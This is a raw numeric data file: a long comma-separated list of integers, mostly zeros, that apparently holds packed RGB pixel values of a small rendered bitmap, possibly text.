0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,11983871,16777215,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838134,14408592,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838134,14408592,3801088,0,0,26294,16777215,16777215,16777142,6684672,0,0,0,26294,16777215,16777215,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16777215,16777215,16777215,16777215,14389306,0,0,0,102,11993087,14399078,3815994,3815936,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777215,16777215,16758374,0,0,14950,11983871,16777215,16777215,14399120,6699520,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6721755,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,6721755,16777142,6684672,0,0,0,3815994,3827382,16777142,6684672,0,0,0,0,3815994,3827382,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14906,3816038,9493503,14389350,3815994,3801088,0,0,0,26294,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14906,3815994,6721755,16758374,0,58,9493503,16767888,6699578,3816038,11983835,11953664,0,0,0,3838171,16758454,11993051,9452032,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777142,6684672,0,0,0,0,0,26294,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,3838171,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16758374,0,102,11993087,14389306,0,0,0,0,0,0,58,9493503,11953722,9493503,14389306,0,0,14992,14417919,16777179,9452134,11983871,16777215,14399078,0,3838171,16777215,16777215,16777215,16777215,16777215,14389306,0,0,0,0,0,0,0,0,0,102,11993087,11964560,14417919,16777215,14399120,3801088,0,14992,14417919,16777179,9452134,11983871,16777215,14399078,0,0,102,11983871,16777215,16777179,11964474,0,0,3838171,16767888,3801190,11993087,14389306,14992,14417883,9452032,0,14950,11983835,16777215,16777215,16777215,11953664,0,0,102,11983871,16777215,16777215,14399078,0,0,14992,14417919,16777179,9452134,11983871,16777215,14399078,0,0,0,0,0,0,0,0,0,0,6731519,16777215,16777215,16777142,6684672,0,0,0,14950,11983835,16777215,16777215,16777215,11953664,0,0,0,0,0,0,0,0,0,0,14950,11983835,16777215,16777215,16777215,11953664,0,3838171,16777215,16777215,16777215,16777215,16777215,14389306,0,0,6731519,16777215,16777215,16777142,6684672,0,0,0,0,26294,16777142,6684672,0,0,0,0,0,26294,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11964560,14417919,16777215,14399120,3801088,0,0,102,11983871,16777215,16777179,11964474,0,0,3838171,16777215,16777215,16777215,16777215,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,58,3815994,6721755,16767888,6699578,3815994,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16758374,0,0,6731519,16777179,11953722,0,0,0,0,0,14992,14417883,9452032,3838171,16758374,0,0,0,3816038,11993087,14408630,9463354,3827382,16777179,9452032,58,3816038,9493503,14389350,3815994,3815994,3801088,0,0,0,0,0,0,0,0,0,102,11993087,16767926,6699578,3816038,11983871,16758374,0,0,3816038,11993087,14408630,9463354,3827382,16777179,9452032,0,6731519,16767926,6699578,3827382,16777215,11953664,0,26294,16767888,3801190,11983835,14389306,26294,16777142,6684672,58,9493503,16767888,6699578,3815994,3815994,0,0,58,9493503,16767888,6699578,3827344,14417919,11953664,0,0,3816038,11993087,14408630,9463354,3827382,16777179,9452032,0,0,0,0,0,0,0,0,0,58,3815994,6721755,16777142,6684672,0,0,58,9493503,16767888,6699578,3815994,3815994,0,0,0,0,0,0,0,0,0,0,58,9493503,16767888,6699578,3815994,3815994,0,0,58,3816038,9493503,14389350,3815994,3815994,3801088,0,0,58,3815994,6721755,16777142,6684672,0,0,0,0,26294,16777142,6684672,0,0,0,0,0,26294,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16767926,6699578,3827344,14417919,11953664,0,0,6731519,16767926,6699578,3827382,16777215,11953664,0,58,3816038,9493503,14389350,3815994,3815994,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,3838171,16777215,16777215,16777215,16777215,16777215,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16758374,0,0,58,6731483,16777215,16777179,11953722,0,0,0,26294,16767888,3801088,14992,14417846,6684672,0,0,102,11993087,14389306,0,102,11993087,11953664,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,14389306,0,0,26294,16777142,6684672,0,102,11993087,14389306,0,102,11993087,11953664,102,11993087,11953664,0,0,6731519,16758374,0,26294,16777142,6699664,11964560,11974246,26294,16767888,3801088,58,9493503,16767888,6699578,0,0,0,0,14992,14417883,9452032,0,0,3838171,16758374,0,0,102,11993087,14389306,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,3838171,16777142,6684672,0,0,58,9493503,16767888,6699578,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16767888,6699578,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,3838171,16777142,6684672,0,0,0,0,26294,16777142,6684672,0,0,0,0,0,26294,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,102,11993087,14389306,0,58,9493503,14389306,0,102,11993087,11953664,0,0,6731519,16758374,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,3838171,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16758374,0,0,0,0,58,6721718,14417919,14389306,0,0,6731519,14399078,3815994,3816038,11993087,11953664,0,0,102,11993087,11953664,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,26294,16777142,6684672,0,102,11993087,11953664,0,0,0,0,14992,14417919,11953664,0,0,6731519,16758374,0,14992,14417846,6710966,11953766,11983760,6721755,16758374,0,0,14950,11983835,16777215,16777215,14399120,3801088,0,14992,14417919,16777215,16777215,16777215,16777215,16758374,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777142,6684672,0,0,0,14950,11983835,16777215,16777215,14399120,3801088,0,0,0,0,0,0,0,0,0,0,14950,11983835,16777215,16777215,14399120,3801088,0,0,58,9493503,14389306,0,0,0,0,0,0,0,3838171,16777142,6684672,0,0,0,0,26294,16777142,6684672,0,0,0,0,0,26294,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,58,9493503,14389306,0,14992,14417919,11953664,0,0,6731519,16758374,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,3838171,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,3838171,16767888,3801088,0,0,6731519,16758374,0,0,0,0,0,0,6731519,16758374,0,102,11993087,16777215,16777215,16777215,16777215,16758374,0,0,102,11993087,11953664,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,6731519,16767888,3801088,0,102,11993087,11953664,0,0,0,0,102,11993087,11953664,0,0,6731519,16758374,0,102,11993051,11974363,11953722,9493430,11974399,14389306,0,0,0,0,0,3816080,11993087,16758374,0,14992,14417883,9452032,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777142,6684672,0,0,0,0,0,0,3816080,11993087,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,3816080,11993087,16758374,0,0,58,9493503,14389306,0,0,0,0,0,0,0,3838171,16777142,6684672,0,0,0,0,26294,16777142,6684672,0,0,0,0,0,26294,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,58,9493503,14389306,0,102,11993087,11953664,0,0,6731519,16758374,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14906,3816038,9493503,14389350,3815994,3801088,0,0,0,3838171,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,14992,14417919,14399078,3815994,3827382,14417919,11953664,0,102,9483920,6710842,3815994,3816080,11993087,14389306,0,26294,16777142,6684672,0,0,26294,16767888,3801088,58,3816038,11993087,11953722,3815936,0,0,0,0,0,6731519,16767926,6699578,3815994,3815994,0,0,0,0,0,0,0,0,0,102,11993087,11953722,3815994,6731483,16777215,11953664,0,58,3816038,11993087,11953722,3815936,0,0,0,0,6731519,16767926,6699578,3827382,16777215,11953664,0,102,11993051,14408667,9452032,6731483,14408703,14389306,0,0,3827302,3815994,3815994,3816080,11993087,14389306,0,0,6731519,16777179,9463354,3815994,3815994,3801088,0,58,3816038,11993087,11953722,3815936,0,0,0,0,0,0,0,0,0,0,0,0,14906,3815994,6721755,16777142,6699578,3815936,0,0,3827302,3815994,3815994,3816080,11993087,14389306,0,0,0,0,0,0,0,0,0,0,3827302,3815994,3815994,3816080,11993087,14389306,0,0,0,6731519,16767926,6699578,3815994,3815994,0,0,14906,3815994,6721755,16777142,6699578,3815936,0,0,0,26294,16777215,11953722,3815994,3815994,0,0,0,26294,16777215,11953722,3815994,3815994,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,58,9493503,14389306,0,0,6731519,16767926,6699578,3827382,16777215,11953664,0,0,0,6731519,16767926,6699578,3815994,3815994,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16777215,16777215,16777215,16777215,14389306,0,0,0,3838171,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,3827382,14417919,16777215,16777179,11964474,0,0,14950,11983835,16777215,16777215,16777215,14399078,3801088,0,3838171,16767888,3801088,0,0,14992,14417883,9452032,3838171,16777215,16777215,16777215,16777142,6684672,0,0,0,0,14950,11983871,16777215,16777215,16758374,3801088,0,0,0,0,0,0,0,0,102,11993087,16777215,16777215,16767926,9452032,0,0,3838171,16777215,16777215,16777215,16777142,6684672,0,0,0,102,11983871,16777215,16777179,11964474,0,0,58,9493503,16777142,6684672,3838171,16777215,11953664,0,102,11993087,16777215,16777215,16777215,14399120,3801088,0,0,58,6731483,16777215,16777215,16777215,11953664,0,3838171,16777215,16777215,16777215,16777142,6684672,0,0,0,0,0,0,0,0,0,0,102,11993087,16777215,16777215,16777215,16777215,16777142,6684672,102,11993087,16777215,16777215,16777215,14399120,3801088,0,0,0,0,0,0,0,0,0,102,11993087,16777215,16777215,16777215,14399120,3801088,0,0,0,14950,11983871,16777215,16777215,16758374,3801088,102,11993087,16777215,16777215,16777215,16777215,16777142,6684672,0,0,0,6731483,16777215,16777215,16758416,3801088,0,0,0,6731483,16777215,16777215,16758416,3801088,0,0,0,0,0,0,0,0,102,11993087,11953664,0,58,9493503,14389306,0,0,102,11983871,16777215,16777179,11964474,0,0,0,0,14950,11983871,16777215,16777215,16758374,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,3838134,14408592,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838134,14408592,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,6721755,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,6721755,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16767888,3801190,11993087,14389306,14992,14417883,9452032,0,102,11983871,16777215,16777179,11964474,0,0,14992,14417919,16777179,9452134,11983871,16777215,14399078,0,102,11993087,11953664,0,0,6731519,16758374,0,0,6731519,16777215,16777215,16777142,6684672,0,0,102,11993087,11964560,14417919,16777215,14399120,3801088,0,0,26294,14417919,16777215,14399078,6731519,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11983871,16777215,16777179,11964474,0,0,14992,14417919,16777179,9452134,11983871,16777215,14399078,0,0,0,0,0,0,0,0,0,3838171,16777142,6684672,0,0,3838171,16777142,6684672,0,102,11983871,16777215,16777179,11964474,0,0,102,11993087,11953664,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,102,11993087,11964560,11983871,16777215,14399120,3801088,0,0,3838171,16777215,16777215,14408630,6699520,0,0,26294,16777179,9452032,0,0,3838171,16777142,6684672,0,102,11983871,16777215,16777215,14399078,0,0,0,0,0,0,0,0,0,0,0,14950,11983835,16777215,16777215,16777215,11953664,0,102,11993087,11953664,0,102,11993087,11953664,0,0,26294,14417919,16777215,14399078,6731519,14389306,0,0,26294,14417919,16777215,14399078,6731519,14389306,0,0,102,11983871,16777215,16777215,14399078,0,0,0,14950,11983835,16777215,16777215,16777215,11953664,0,3838171,16777215,16777215,16777215,16777215,16777215,14389306,0,0,6731519,16777215,16777215,16777142,6684672,0,0,0,102,11983871,16777215,16777179,11964474,0,0,102,11993087,11964560,14417919,16777215,14399120,3801088,0,0,14950,11983835,16777215,16777215,16777215,11953664,0,26294,16767888,3801190,11983835,14389306,26294,16777142,6684672,0,6731519,16767926,6699578,3827382,16777215,11953664,0,0,3816038,11993087,14408630,9463354,3827382,16777179,9452032,102,11993087,11953664,0,102,11993087,14389306,0,0,58,3815994,6721755,16777142,6684672,0,0,102,11993087,16767926,6699578,3827344,14417919,11953664,0,102,11993087,16758374,3815994,6721755,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16767926,6699578,3827382,16777215,11953664,0,0,3816038,11993087,14408630,9463354,3827382,16777179,9452032,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,6731519,16758374,0,0,6731519,16767926,6699578,3827382,16777215,11953664,0,102,11993087,11953664,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,102,11993087,16767926,6699578,3827344,14417919,11953664,0,0,58,3815994,3816038,9483995,16777142,6684672,0,102,11993087,11953664,0,58,9493503,16758374,0,58,9493503,16767888,6699578,3827344,14417919,11953664,0,0,0,0,0,0,0,0,0,58,9493503,16767888,6699578,3815994,3815994,0,0,102,11993087,11953664,0,102,11993087,11953664,0,102,11993087,16758374,3815994,6721755,16777215,14389306,0,102,11993087,16758374,3815994,6721755,16777215,14389306,0,58,9493503,16767888,6699578,3827344,14417919,11953664,0,58,9493503,16767888,6699578,3815994,3815994,0,0,58,3816038,9493503,14389350,3815994,3815994,3801088,0,0,58,3815994,6721755,16777142,6684672,0,0,0,6731519,16767926,6699578,3827382,16777215,11953664,0,102,11993087,16767926,6699578,3827344,14417919,11953664,0,58,9493503,16767888,6699578,3815994,3815994,0,0,26294,16777142,6699664,11964560,11974246,26294,16767888,3801088,102,11993087,11953664,0,0,6731519,16758374,0,0,102,11993087,14389306,0,102,11993087,11953664,102,11993087,11953722,3816038,9493503,16777142,6684672,0,0,0,0,383817